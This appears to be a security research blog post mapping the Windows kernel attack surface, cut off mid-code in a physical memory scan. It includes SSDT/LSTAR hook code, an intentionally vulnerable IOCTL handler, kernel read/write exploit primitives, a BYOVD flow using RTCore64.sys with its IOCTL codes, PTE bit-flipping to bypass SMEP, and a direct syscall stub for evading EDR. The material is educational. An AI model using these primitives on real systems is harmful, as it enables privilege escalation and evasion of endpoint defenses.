The Kernel Attack Surface: How Windows Internals Enable Exploitation

Noman Nasir MinhasPublished Updated kernel-exploitationwindows-internalssecurity-researchioctl

A subsystem-by-subsystem map of the Windows kernel attack surface — how the syscall interface, I/O manager, memory manager, object manager, and kernel pool each create exploitable primitives, which techniques still work, and which ones died.

Share

#The Windows kernel is not one attack surface. It is a collection of subsystems — each with its own data structures, its own dispatch mechanisms, and its own vulnerability patterns. Understanding the kernel means understanding each subsystem well enough to see where it breaks.

Windows Kernel Attack Surface — Subsystems and Their Attack Surfaces

#1. The System Call Interface

If Ring 0 is the target, the system call is the door. It is the only legitimate mechanism for a user-mode thread to enter kernel mode, and every kernel exploit either abuses a vulnerable syscall, abuses a driver that processes I/O initiated by a syscall, or finds a way to redirect the syscall path itself. The system call interface is the foundation of every other attack surface in this post.

#How It Works

On x64 Windows, the syscall instruction is the entry point. It is a single CPU instruction that does three things atomically: loads RIP from the LSTAR MSR (which points to KiSystemCall64), saves the current RFLAGS into R11, and saves the return RIP into RCX. The kernel then swaps the GS base register to access the current processor's Processor Control Region (PCR), builds a trap frame capturing the user-mode context, indexes into the System Service Descriptor Table (SSDT) using the syscall number in EAX, and dispatches to the target function.

The SSDT is the kernel's syscall dispatch table. KeServiceDescriptorTable maps syscall numbers to Nt* function addresses for the core NT syscalls. Each entry is a 4-byte offset from the SSDT base, encoded as (target - base) >> 4. KeServiceDescriptorTableShadow adds a second table for Win32k GDI syscalls used when a GUI thread is active.

C
// SSDT internal layout — each entry is a signed 32-bit offset
// The actual function address is: SSDT_BASE + (entry << 4)
//
// KeServiceDescriptorTable:
//   [0] NtAcceptConnectPort      → nt!NtAcceptConnectPort
//   [1] NtAccessCheck            → nt!NtAccessCheck
//   ...
//   [0x18] NtAllocateVirtualMemory → nt!NtAllocateVirtualMemory
//   [0x26] NtOpenProcess          → nt!NtOpenProcess
//
// The SSN in EAX indexes directly into this table.
 
LONG_PTR* g_SsdtBase = (LONG_PTR*)KeServiceDescriptorTable[0].Base;
PVOID ntFunction = (PVOID)((ULONG_PTR)g_SsdtBase + (g_SsdtBase[ssn] >> 4));

The Nt* vs Zw* distinction matters here. Both call the same kernel function, but Zw* variants set the PreviousMode field in the thread object to KernelMode (0), while Nt* variants (called from user mode via syscall) set it to UserMode (1). Kernel functions use PreviousMode to decide whether to trust pointer parameters — a UserMode previous mode triggers probe-and-copy validation. This is the integrity boundary the syscall interface enforces.

#Attack Surface — SSDT Hooking

For over a decade, SSDT hooking was the canonical rootkit technique. The attack is direct: overwrite an entry in KeServiceDescriptorTable so that a syscall number no longer points at the legitimate Nt* function but at attacker-controlled code. The attacker's hook runs in kernel context on every invocation of that syscall — before the original function, with full access to all arguments.

The kernel page containing the SSDT is mapped read-only (the WP bit in CR0 enforces this), so the hook installation requires a brief write-protect bypass:

C
// SSDT hook installation — the classic rootkit primitive
// This is presented for historical understanding. It will bugcheck
// a modern system within seconds (see "Why it's obsolete" below).
 
static void DisableWP(void) {
    __writecr0(__readcr0() & ~0x10000ULL);  // Clear CR0.WP
}
static void EnableWP(void) {
    __writecr0(__readcr0() | 0x10000ULL);   // Restore CR0.WP
}
 
static NTSTATUS InstallSsdtHook(ULONG ssn, PVOID hookFn, PVOID* original) {
    LONG_PTR* ssdt = (LONG_PTR*)KeServiceDescriptorTable[0].Base;
    // Decode the current entry to recover the original function address
    *original = (PVOID)((ULONG_PTR)ssdt + (ssdt[ssn] >> 4));
    // Overwrite the entry with the offset to our hook
    DisableWP();
    ssdt[ssn] = ((LONG_PTR)hookFn - (LONG_PTR)ssdt) << 4;
    EnableWP();
    return STATUS_SUCCESS;
}
 
// Hook for NtOpenProcess — log every process handle open
typedef NTSTATUS (*pNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
static pNtOpenProcess g_OriginalNtOpenProcess;
 
NTSTATUS HookNtOpenProcess(PHANDLE Handle, ACCESS_MASK DesiredAccess,
                           POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
    // We are now in Ring 0, called on every NtOpenProcess invocation system-wide.
    LogOpenAttempt(DesiredAccess, ClientId);
    return g_OriginalNtOpenProcess(Handle, DesiredAccess, ObjectAttributes, ClientId);
}
 
// In DriverEntry:
InstallSsdtHook(0x26, HookNtOpenProcess, &g_OriginalNtOpenProcess);

The hook function is a normal kernel function. It can inspect arguments, modify them, block the call by returning a fabricated status, or pass through to the original. Rootkits used this to hide processes (hooking NtQuerySystemInformation to filter the System process list), hide files (hooking NtCreateFile / NtQueryDirectoryFile), and intercept network operations.

#Why SSDT Hooking Is Obsolete

SSDT hooking is dead on x64 Windows. Three defenses killed it, each layered on top of the other:

  • PatchGuard computes cryptographic checksums of the SSDT at randomized intervals. Any modification is detected within seconds to minutes and triggers KeBugCheckEx with CRITICAL_STRUCTURE_CORRUPTION (bugcheck 0x109). The check is probabilistic, not immediate — but the window is short enough that persistent SSDT hooking on a production system is infeasible.
  • Kernel Data Protection (KDP), when VBS is enabled, marks the SSDT's physical pages read-only at the hypervisor level via EPT. The write in InstallSsdtHook does not just risk a later bugcheck — it faults immediately. The hypervisor refuses the write before it reaches memory.
  • HVCI prevents the hook function's page from being made executable. Even if you could write the SSDT, the hook code you want to jump to cannot run because the hypervisor will not grant execute permission to unsigned pages.

#Attack Surface — Syscall Hijacking via LSTAR

A more aggressive variant targets the LSTAR MSR itself. The LSTAR MSR holds the address of KiSystemCall64 — the very first kernel instruction executed on every syscall. If you overwrite LSTAR to point at attacker code, you intercept every syscall in the system before the kernel's dispatch logic even runs. You bypass the SSDT entirely.

C
// LSTAR overwrite — intercepts the syscall instruction itself
// More powerful than SSDT hooking: every syscall, no SSDT lookup yet.
// Equally dead on modern systems (see below).
 
__writemsr(0xC0000082, (ULONG_PTR)AttackerSyscallEntry);
// From this point, every syscall instruction in the system jumps to
// AttackerSyscallEntry instead of KiSystemCall64.

This is the nuclear option. You control the syscall path before the trap frame is built, before the SSDT is consulted, before the kernel knows which function was requested. The attacker's handler must reconstruct the original dispatch (read EAX for the SSN, build the trap frame, call the original) but gains total visibility into every kernel entry.

#Why LSTAR Hijacking Is Obsolete

PatchGuard monitors critical MSR values including LSTAR, CSTAR, and SF_MASK. A modified LSTAR triggers the same 0x109 bugcheck as an SSDT modification. HVCI prevents the replacement handler from being executable. CET Indirect Branch Tracking (IBT) requires ENDBR64 at the target of any indirect branch — and the syscall path is a special case, but the broader point holds: every redirection target must be a valid, signed, CFG-registered entry point. The days of pointing a control register at user-supplied code are over.

#Attack Surface — Direct Syscall Invocation

Direct syscall invocation is not a kernel attack — it is a user-mode evasion technique that explains why the kernel attack surface matters at all. A process can resolve a syscall number (SSN) independently and issue the syscall instruction from its own code, never touching ntdll.dll:

C
// Direct syscall stub — bypasses every user-mode hook
// The SSN is resolved from ntdll.dll on disk or from another process.
// This is the baseline for commodity malware in 2026.
 
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_Direct(
    HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
    __asm {
        mov r10, rcx           // First argument to r10 (syscall ABI)
        mov eax, 0x18          // SSN for NtAllocateVirtualMemory (build-dependent)
        syscall                // Enter kernel — ntdll.dll never touched
        ret
    }
}

When this executes, the user-mode RIP captured in the trap frame is within the calling process's own .text section, not within ntdll.dll. Every user-mode hook — EDRs, API monitors, ETW providers — sits above the syscall instruction. Direct invocation goes under all of them. This is why kernel-level monitoring and kernel exploitation remain relevant: the only layer below direct syscalls is the kernel itself. The Nanga project on this blog demonstrates this — an SSDT hook catches direct syscalls because the syscall instruction must enter the kernel regardless of call origin.

#What Still Works on the Syscall Interface

The SSDT and LSTAR are locked down. What remains viable is defensive use of the syscall notification machinery: PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, and ObRegisterCallbacks give drivers visibility into process creation, thread creation, image loads, and handle operations. These are covered in Section 9. From an offensive perspective, the syscall interface itself is a closed door on modern Windows — the exploitation happens in what the syscalls dispatch to: the I/O manager, the memory manager, the object manager, and the drivers registered with them.


#2. The I/O Subsystem — IOCTLs, IRPs, and Device Drivers

The I/O subsystem is where most modern kernel exploitation happens. The syscall interface is locked down, but the drivers that syscalls dispatch to are not. A driver is third-party code running in Ring 0, and the IOCTL interface is the channel through which user-mode code talks to it. Every vulnerable driver is a potential kernel attack surface, and the IOCTL handler is the most common location of the vulnerability.

#How It Works — The I/O Manager and the Device Stack

The I/O Manager is the kernel subsystem that routes I/O requests between user mode and kernel drivers. It abstracts the difference between file I/O, device I/O, and network I/O behind a single mechanism: the I/O Request Packet (IRP). When a user-mode application calls ReadFile, WriteFile, or DeviceIoControl, the I/O Manager builds an IRP, determines which device object should receive it, and dispatches it down the device stack.

IOCTL Dispatch Path from DeviceIoControl to Driver Dispatch Routine

The device stack is a chain of DEVICE_OBJECT structures layered on top of each other. At the bottom is the Physical Device Object (PDO) created by the bus driver. Above it sits the Functional Device Object (FDO) created by the function driver. Between them and above them can be Filter Device Objects (FiDOs) created by filter drivers. Each layer gets its own slot in the IRP — the IO_STACK_LOCATION — and can inspect, modify, or complete the request before passing it down.

A driver exposes itself to user mode by creating a device object with IoCreateDevice and a symbolic link with IoCreateSymbolicLink. The symbolic link is what CreateFile("\\\\.\\DeviceName") resolves to via the object manager namespace:

C
// Minimal WDM driver — creates a device and registers a dispatch routine
// This is the legitimate code pattern. The vulnerability comes later,
// in what the dispatch routine does with user input.
 
UNICODE_STRING g_DeviceName = RTL_CONSTANT_STRING(L"\\Device\\VulnDrv");
UNICODE_STRING g_SymLink    = RTL_CONSTANT_STRING(L"\\??\\VulnDrv");
PDEVICE_OBJECT g_DeviceObj  = NULL;
 
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(RegistryPath);
 
    IoCreateDevice(DriverObject, 0, &g_DeviceName,
                   FILE_DEVICE_UNKNOWN, 0, FALSE, &g_DeviceObj);
    IoCreateSymbolicLink(&g_SymLink, &g_DeviceName);
 
    // Register dispatch routines for the major function codes we handle
    for (int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
        DriverObject->MajorFunction[i] = VulnDrvUnsupportedDispatch;
 
    DriverObject->MajorFunction[IRP_MJ_CREATE]         = VulnDrvCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = VulnDrvCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = VulnDrvIoctlDispatch;
    DriverObject->DriverUnload = VulnDrvUnload;
 
    return STATUS_SUCCESS;
}

The MajorFunction array in DRIVER_OBJECT is the dispatch table. Each major function code (IRP_MJ_CREATE, IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_DEVICE_CONTROL) indexes into this array to find the driver's handler routine. This is the kernel's equivalent of a vtable — and like a vtable, it is a target.

#How It Works — IRPs and IO_STACK_LOCATION

An IRP is a partially-documented kernel structure that represents a single I/O request. It has a header (_IRP) containing the request parameters and status, followed by an array of IO_STACK_LOCATION structures — one per layer in the device stack. Each stack location holds the major function code, minor function code, and parameters specific to that request type.

C
// The IO_STACK_LOCATION for an IOCTL — the fields the driver reads
// These are the attacker-controllable values that drive the vulnerability.
 
typedef struct _IO_STACK_LOCATION {
    UCHAR MajorFunction;          // IRP_MJ_DEVICE_CONTROL = 0x0E
    UCHAR MinorFunction;
    UCHAR Flags;
    UCHAR Control;
 
    union {
        struct {                  // Parameters.DeviceIoControl
            ULONG OutputBufferLength;   // ← attacker-controlled
            ULONG InputBufferLength;    // ← attacker-controlled
            ULONG IoControlCode;        // ← attacker-controlled (the IOCTL code)
        } DeviceIoControl;
        // ... other unions for read/write/create/etc.
    } Parameters;
 
    PDEVICE_OBJECT DeviceObject;
    PFILE_OBJECT FileObject;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;

The driver's IRP_MJ_DEVICE_CONTROL handler reads these fields to determine which IOCTL was requested and where the input/output buffers are. The vulnerability is almost always in how the handler interprets these attacker-controlled values.

#How It Works — The IOCTL Code Structure

An IOCTL code is a 32-bit value packed by the CTL_CODE macro. It encodes four fields:

C
// IOCTL code structure — the 32-bit encoding
// CTL_CODE(DeviceType, Function, Method, Access)
 
#define CTL_CODE(DeviceType, Function, Method, Access) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
 
// Field layout (bits 31..0):
//   [31:16] DeviceType   — FILE_DEVICE_UNKNOWN (0x22), FILE_DEVICE_DISK (0x07), etc.
//   [15:14] Access       — FILE_ANY_ACCESS (0), FILE_READ_ACCESS (1),
//                          FILE_WRITE_ACCESS (2), FILE_READ|WRITE (3)
//   [13:2]  Function     — driver-defined IOCTL function code (0x800+ for vendor-defined)
//   [1:0]   Method       — METHOD_BUFFERED (0), METHOD_IN_DIRECT (1),
//                          METHOD_OUT_DIRECT (2), METHOD_NEITHER (3)
 
// Decoding an IOCTL in a reverse engineering tool:
//   IOCTL 0x222000 → DeviceType=0x22 (UNKNOWN), Access=0, Function=0x800, Method=0 (BUFFERED)
//   IOCTL 0x222003 → DeviceType=0x22 (UNKNOWN), Access=0, Function=0x800, Method=3 (NEITHER)

The Method field is the most security-relevant. It determines how the I/O Manager handles the user-mode buffers before the driver sees them. This is where the four transfer methods come in — and where the vulnerabilities live.

#How It Works — The Four Transfer Methods

The Method field in the IOCTL code tells the I/O Manager how to marshal the user-mode input and output buffers into kernel space. The four methods have radically different security properties:

Comparison of the Four IOCTL Buffer Transfer Methods

METHOD_BUFFERED (Method=0) — The safest method. The I/O Manager allocates a system buffer of max(InputBufferLength, OutputBufferLength), copies the user's input buffer into it, and passes Irp->AssociatedIrp.SystemBuffer to the driver. After the driver completes the IRP, the I/O Manager copies OutputBufferLength bytes from the system buffer back to the user's output buffer. The driver never touches user-mode memory directly. The vulnerability surface is reduced to buffer-overflows within the system buffer (driver writes more than OutputBufferLength or reads more than InputBufferLength).

METHOD_IN_DIRECT (Method=1) and METHOD_OUT_DIRECT (Method=2) — MDL-based. The I/O Manager creates a Memory Descriptor List (MDL) that maps and locks the user's output buffer into physical memory, then provides a kernel-mode virtual address for it via MmGetSystemAddressForMdlSafe. The input buffer is still copied into a system buffer (like METHOD_BUFFERED). The driver accesses the output buffer through the MDL. The security risk: the user buffer is probed and locked, but the lock prevents the pages from being paged out or reused — it does not prevent the contents from being modified if the driver reads the user virtual address directly instead of the kernel MDL address. This is the TOCTOU window.

METHOD_NEITHER (Method=3) — The most dangerous method. The I/O Manager does nothing. The driver receives the raw user-mode virtual addresses directly: Parameters.DeviceIoControl.Type3InputBuffer for input, Irp->UserBuffer for output. No probing, no locking, no copying. The driver is entirely responsible for validating these pointers with ProbeForRead / ProbeForWrite before touching them. If the driver skips the probe — and many do — it dereferences attacker-controlled user-mode addresses in kernel context.

C
// Vulnerable METHOD_NEITHER IOCTL handler — the bug is the missing probe
// The driver trusts Type3InputBuffer as a kernel pointer. It is a user pointer.
// An attacker passes a kernel address here and the driver reads/writes it.
 
NTSTATUS VulnDrvIoctlDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION ioStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctl = ioStack->Parameters.DeviceIoControl.IoControlCode;
 
    switch (ioctl) {
    case IOCTL_READ_KERNEL_MEM: {   // METHOD_NEITHER
        // User supplies a READ_REQUEST in Type3InputBuffer:
        //   struct { PVOID TargetAddress; PVOID OutputBuffer; ULONG Size; }
        PREAD_REQUEST req = (PREAD_REQUEST)
            ioStack->Parameters.DeviceIoControl.Type3InputBuffer;
 
        // BUG: No ProbeForRead on req. No ProbeForWrite on req->OutputBuffer.
        // No validation that TargetAddress is a user-mode address.
        // The driver copies Size bytes from TargetAddress (a kernel address
        // controlled by the attacker) into req->OutputBuffer.
        RtlCopyMemory(req->OutputBuffer, req->TargetAddress, req->Size);
        Irp->IoStatus.Status = STATUS_SUCCESS;
        break;
    }
    // ...
    }
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

This is the vulnerability pattern. The driver treats a user-supplied pointer as a trusted kernel pointer. On a system without SMAP, the kernel can read and write user-mode pages — so the driver will happily copy data from a kernel address the attacker specified into a user buffer the attacker controls. That is an arbitrary kernel read primitive, built from one missing ProbeForRead.

#Attack Surface — Building Arbitrary Read/Write Primitives

The two fundamental primitives in kernel exploitation are arbitrary kernel read (read any kernel virtual address from user mode) and arbitrary kernel write (write any data to any kernel virtual address). A vulnerable IOCTL handler that trusts user pointers gives you both.

Arbitrary read — the driver copies data from an attacker-specified address to an attacker-specified output buffer:

C
// Exploit: arbitrary kernel read via the vulnerable METHOD_NEITHER IOCTL
// We pass a kernel address as TargetAddress and receive its contents
// in our user-mode OutputBuffer.
 
typedef struct _READ_REQUEST {
    PVOID  TargetAddress;
    PVOID  OutputBuffer;
    ULONG  Size;
} READ_REQUEST;
 
BOOL KernelRead(HANDLE hDevice, ULONG_PTR kernelAddr, PVOID outBuf, ULONG size) {
    READ_REQUEST req;
    req.TargetAddress = (PVOID)kernelAddr;   // The kernel address we want to read
    req.OutputBuffer  = outBuf;              // Where we want the bytes delivered
    req.Size          = size;
 
    DWORD bytesReturned;
    return DeviceIoControl(hDevice, IOCTL_READ_KERNEL_MEM,
                           &req, sizeof(req), NULL, 0,
                           &bytesReturned, NULL);
}
 
// Usage — leak the kernel base (KASLR bypass):
// 1. Read a known kernel structure that contains a kernel pointer
// 2. Scan the result for pointers in the kernel address range
// 3. Align the found pointer to the kernel image base (page-aligned, scan back for MZ)
ULONG_PTR leakedPtr;
KernelRead(hDevice, someKnownKernelAddress, &leakedPtr, sizeof(leakedPtr));
ULONG_PTR kernelBase = leakedPtr & ~0xFFF;  // Page-align
// Scan backwards page by page until we find "MZ" (the PE header)

Arbitrary write — the mirror image. The driver copies attacker-supplied data to an attacker-specified kernel address:

C
// Exploit: arbitrary kernel write via the vulnerable IOCTL
// The "write-what-where" primitive — the most powerful single bug class.
 
typedef struct _WRITE_REQUEST {
    PVOID  TargetAddress;   // Where to write (kernel address)
    PVOID  SourceBuffer;    // What to write (user-mode buffer)
    ULONG  Size;
} WRITE_REQUEST;
 
BOOL KernelWrite(HANDLE hDevice, ULONG_PTR kernelAddr, PVOID srcBuf, ULONG size) {
    WRITE_REQUEST req;
    req.TargetAddress = (PVOID)kernelAddr;
    req.SourceBuffer  = srcBuf;
    req.Size          = size;
 
    DWORD bytesReturned;
    return DeviceIoControl(hDevice, IOCTL_WRITE_KERNEL_MEM,
                           &req, sizeof(req), NULL, 0,
                           &bytesReturned, NULL);
}

A single arbitrary-write primitive is, in principle, game over. You can overwrite _EPROCESS.Token to become SYSTEM. You can modify page table entries to bypass SMEP. You can corrupt any kernel data structure. The entire rest of this post — the object manager attacks, the memory manager attacks, the pool attacks — is about what you point that write primitive at once you have it.

#Attack Surface — BYOVD (Bring Your Own Vulnerable Driver)

The most practical kernel exploitation technique in 2026 is BYOVD. The pattern is simple: load a signed, legitimate driver that exposes dangerous functionality via IOCTL, then abuse that functionality for kernel access. The driver is signed (passes DSE and CI), its code is legitimate (passes HVCI), its IOCTL handlers are valid function entries (passes kCFG). The vulnerability is in the driver's logic — it exposes a "read physical memory" or "write MSR" IOCTL to any caller, with no access control. The signature answers "who wrote this?" not "is this safe?"

C
// BYOVD exploitation flow — the canonical 2026 kernel privilege escalation
// Using RTCore64.sys (MSI Afterburner) as the example.
// RTCore64 exposes physical memory read/write via IOCTL 0x80002048 / 0x8000204C.
 
// 1. Load the vulnerable driver (requires admin or SeLoadDriverPrivilege)
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE svc = CreateService(scm, "RTCore", "RTCore",
    SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER,
    SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    "C:\\temp\\RTCore64.sys", NULL, NULL, NULL, NULL, NULL);
StartService(svc, 0, NULL);
 
// 2. Open a handle to the driver's device
HANDLE hDev = CreateFileW(L"\\\\.\\RTCore", GENERIC_READ | GENERIC_WRITE,
                          0, NULL, OPEN_EXISTING, 0, NULL);
 
// 3. Read physical memory via the driver's IOCTL
typedef struct _RTC_PHYSMEM_READ {
    USHORT Padding1;
    USHORT Size;          // Bytes to read (1, 2, or 4)
    ULONG  Padding2;
    ULONG64 Address;      // Physical address to read
    ULONG32 Value;        // Result
} RTC_PHYSMEM_READ;
 
BOOL ReadPhysMem(HANDLE hDev, ULONG64 physAddr, PVOID outBuf, USHORT size) {
    RTC_PHYSMEM_READ req = {0};
    req.Size = size;
    req.Address = physAddr;
    DWORD ret;
    DeviceIoControl(hDev, 0x80002048, &req, sizeof(req),
                    &req, sizeof(req), &ret, NULL);
    memcpy(outBuf, &req.Value, size);
    return TRUE;
}
 
// 4. The physical memory read primitive bypasses KASLR entirely.
//    Scan physical memory for the kernel's PE header ("MZ" + "PE\0\0"),
//    compute the virtual-to-physical offset, and you have the kernel base.
// 5. Use the write IOCTL (0x8000204C) to overwrite _EPROCESS.Token
//    located via physical memory scanning. See Section 3 and 4.

The canonical vulnerable drivers and what they expose:

DriverVendorExposed CapabilityBlocklisted
RTCore64.sysMSI AfterburnerPhysical memory read/write via MmMapIoSpaceYes
capcom.sysCapcom anti-cheatArbitrary MSR read/write (__readmsr/__writemsr)Yes
WinRing0.sysOpenLibSysI/O port access + MSR accessYes (variants)
gdrv.sysGIGABYTEPhysical memory read/writeYes
dbutil_2_3.sysDellArbitrary kernel read/writeYes
iqvw64e.sysIntel LANArbitrary kernel read/writeYes

Microsoft's response is the Vulnerable Driver Blocklist, enforced by WDAC and HVCI. It contains hashes of known-vulnerable drivers and prevents them from loading. The limitation is structural: the blocklist is reactive. New vulnerable drivers are discovered regularly — the LOLDrivers project catalogs hundreds of signed drivers with dangerous capabilities, and a driver not yet on the blocklist loads without issue. Finding a new BYOVD candidate is a matter of reverse engineering driver IOCTL handlers for MmMapIoSpace calls, __readmsr/__writemsr, direct pointer dereferences, or missing ACL checks.


#3. The Memory Manager — Virtual Memory, Page Tables, and Physical Memory

The memory manager is the kernel subsystem that translates virtual addresses to physical addresses and enforces access permissions. It is also the subsystem that, once you have a write primitive, lets you turn off every other defense. Page table manipulation is the ultimate SMEP/SMAP bypass — done at the hardware level, below the kernel's own enforcement. Physical memory access is the master key that makes KASLR irrelevant. This section is where a write primitive becomes a full compromise.

#How It Works — Virtual Memory Architecture

On x64 Windows, the virtual address space is split: user mode owns the lower half (0x0000000000000000through0x00007FFFFFFFFFFF), and kernel mode owns the upper half (0xFFFF800000000000` and above). This split is not a security boundary in itself — it is a performance optimization. Every process has the kernel mapped into its upper address space, so a context switch does not require a CR3 reload for kernel memory accesses. The kernel is always there.

The translation from virtual to physical address is a four-level page table walk:

x64 Page Table Walk — PML4 to Physical Page with Bit Annotations

A virtual address is split into five fields: bits 47–39 index into the PML4 (Page Map Level 4), bits 38–30 index into the PDPT (Page Directory Pointer Table), bits 29–21 index into the PD (Page Directory), bits 20–12 index into the PT (Page Table), and bits 11–0 are the page offset. Each table entry points to the next table (or, for the PT entry, to the physical page). The CR3 register holds the physical address of the current process's PML4.

The critical structure for exploitation is the self-referencing PML4 entry. Windows maps one PML4 entry to point back at the PML4 itself, creating a virtual address that, when walked, lets you read and write page tables as if they were ordinary memory. On most Windows builds, this self-reference is at PML4 index 0x1ED, giving the self-referencing address range 0xFFFFF6FB7DBED000` and below. This means the page tables are writable from kernel context as ordinary virtual memory — no special API needed.

The PTE (Page Table Entry) format is where the exploitation lives:

C
// x64 PTE format — the bits that matter for exploitation
// A PTE is 64 bits. The fields below are the ones an attacker flips.
 
typedef union _HARDWARE_PTE {
    ULONG64 Flags;
    struct {
        ULONG64 Valid          : 1;   // [0]   Page is present
        ULONG64 Writeable      : 1;   // [1]   Read/Write (0 = read-only)
        ULONG64 UserAccessible : 1;   // [2]   U/S bit (0 = supervisor/kernel, 1 = user)
        ULONG64 WriteThrough   : 1;   // [3]
        ULONG64 CacheDisabled  : 1;   // [4]
        ULONG64 Accessed       : 1;   // [5]
        ULONG64 Dirty          : 1;   // [6]
        ULONG64 LargePage      : 1;   // [7]
        ULONG64 Global        : 1;   // [8]
        ULONG64 Reserved1      : 1;   // [9]
        ULONG64 Reserved2      : 3;   // [10:12]
        ULONG64 PageFrameNumber: 36;  // [13:48] Physical page number
        // ... reserved bits, NX
        ULONG64 NoExecute      : 1;   // [63]  NX bit (1 = not executable)
    };
} HARDWARE_PTE;

Three bits are the exploitation targets: UserAccessible (bit 2), Writeable (bit 1), and NoExecute (bit 63). SMEP is enforced by checking that a page accessed in Ring 0 has UserAccessible=0. SMAP is enforced by checking that a page accessed in Ring 0 has UserAccessible=0 (for data access). NX is enforced by checking NoExecute=0 for instruction fetches. If you can flip these bits in a PTE, you change the hardware's own enforcement — no software mitigation can override what the MMU sees.

#How It Works — KVA Shadow

KVA Shadow (the Windows implementation of the Meltdown mitigation) changes the picture on affected CPUs. It maintains separate user-mode and kernel-mode page tables. When the CPU is in Ring 3, the kernel's page table entries are unmapped — only a minimal "trampoline" set of kernel pages (the syscall entry/exit code, the GDT, the IDT) remains mapped. This means a Meltdown-style speculative execution attack from user mode cannot leak kernel memory: the pages are not present in the page tables the CPU is walking.

For exploitation, the practical effect is that KVA Shadow also hardens KASLR. Before KVA Shadow, kernel pointers were present in user-mode page tables (marked supervisor-only, but the addresses were there for a speculative side-channel to leak). After KVA Shadow, the kernel's page table entries are simply absent when the CPU is in Ring 3. You cannot leak what is not mapped. But KVA Shadow does not protect against a kernel-context write primitive — once you are in Ring 0, the kernel page tables are mapped, and the self-referencing PML4 entry is accessible.

#Attack Surface — Page Table Manipulation

Page table manipulation is the technique that turns a kernel write primitive into a hardware-level SMEP/SMAP bypass. The attack: locate the PTE for a kernel page you want to make accessible from user mode, clear the UserAccessible bit (making it a user page), clear the NoExecute bit (making it executable), and set the Writeable bit. The kernel page is now readable, writable, and executable from user mode — at the hardware level, below SMEP and SMAP.

C
// Page table manipulation — the hardware-level SMEP/SMAP bypass
// Requires a kernel write primitive (e.g., from a vulnerable IOCTL).
// This is the technique that makes software-enforced SMEP/SMAP irrelevant.
 
// Step 1: Find the PTE for a target kernel virtual address.
// The self-referencing PML4 entry lets us compute the PTE's virtual address.
// On a build with self-ref at PML4 index 0x1ED:
//   PTE_VA = 0xFFFFF6FB7DBED000 | (va >> 12) << 3
ULONG64 GetPteVirtualAddress(ULONG64 va) {
    // Self-ref index is build-dependent. Assume 0x1ED for this example.
    const ULONG64 SELF_REF_INDEX = 0x1ED;
    // The PTE for 'va' lives at a computed virtual address derived from
    // the self-referencing entry. Simplified:
    ULONG64 pteVa = 0xFFFFF6FB7DBED000ULL + ((va >> 12) << 3);
    return pteVa;
}
 
// Step 2: Read the current PTE, clear U/S and NX, set RW.
VOID MakeKernelPageUserAccessible(ULONG64 kernelVa) {
    ULONG64 pteVa = GetPteVirtualAddress(kernelVa);
    HARDWARE_PTE pte;
    // Use your kernel read primitive to read the current PTE
    KernelRead(hDev, pteVa, &pte, sizeof(pte));
 
    pte.UserAccessible = 1;  // Flip U/S: now a user page
    pte.NoExecute = 0;      // Clear NX: now executable from user mode
    pte.Writeable = 1;      // Set RW: now writable from user mode
 
    // Use your kernel write primitive to write the modified PTE
    KernelWrite(hDev, pteVa, &pte, sizeof(pte));
 
    // Invalidate the TLB so the CPU re-reads the modified PTE
    // (From kernel context you would issue INVLPGB; from the modified
    //  page itself, the next access reflects the new permissions.)
}
 
// After this, the kernel page at kernelVa is accessible from user mode.
// SMEP and SMAP no longer apply to it — the MMU sees UserAccessible=1.
// You can now map shellcode into that page from user mode and jump to it
// from kernel context without triggering SMEP.

This is why page table manipulation is so powerful: it does not bypass SMEP by finding a clever gadget chain or by disabling CR4. It changes the data the MMU reads, so the SMEP check itself passes. The page is no longer a user page from the MMU's perspective — it is a supervisor page that happens to be user-accessible. The defense post's SMEP section explains what SMEP checks; this technique changes what SMEP checks against.

#Attack Surface — Physical Memory Access

Physical memory access is the master key. It bypasses virtual address protections entirely — there is no U/S bit, no NX bit, no KASLR at the physical level. Physical memory is just RAM, addressed by physical page number. A driver that exposes MmMapIoSpace (like RTCore64.sys) lets you map any physical address into kernel virtual space and read or write it directly.

The challenge is finding what you want in physical memory, because physical addresses do not correspond to virtual addresses in any obvious way. Two techniques solve this:

Locating the kernel image — scan physical memory for the PE header signature (MZ followed by PE\0\0 at the expected offset). The kernel image (ntoskrnl.exe) is a large contiguous region in physical memory. Once found, you can compute the offset between its physical location and its known virtual base (which you can leak via an information disclosure, or compute from the PE header's ImageBase field). That offset is the KASLR delta — and now you have the kernel base.

Locating _EPROCESS structures — the ActiveProcessLinks list links every _EPROCESS in the system. If you can find one _EPROCESS in physical memory (by scanning for the process name string, e.g., the System process's image filename), you can walk the list to find any other process. Each _EPROCESS contains the token pointer you want to overwrite.

C
// Physical memory scan — locate the System process (PID 4) by its image name
// Once found, read its _EPROCESS.Token. Then find the attacker's process
// and overwrite its token. All via physical memory — no KASLR bypass needed.
 
// Using the RTCore64 physical read primitive from Section 2:
BOOL FindSystemProcessEprocess(ULONG64* outEprocessPhys) {
    // Scan physical memory in page-sized increments for the System process.
    // The System process's ImageFileName is "System" (wide string).
    // _EPROCESS.ImageFileName is an embedded CHAR[15] (or UNICODE_STRING,
    // build-dependent). We scan for the byte pattern.
    for (ULONG64 phys = 0x100000; phys < 0x80000000; phys += 0x1000) {
        UCHAR page[0x1000];
        // Read one physical page
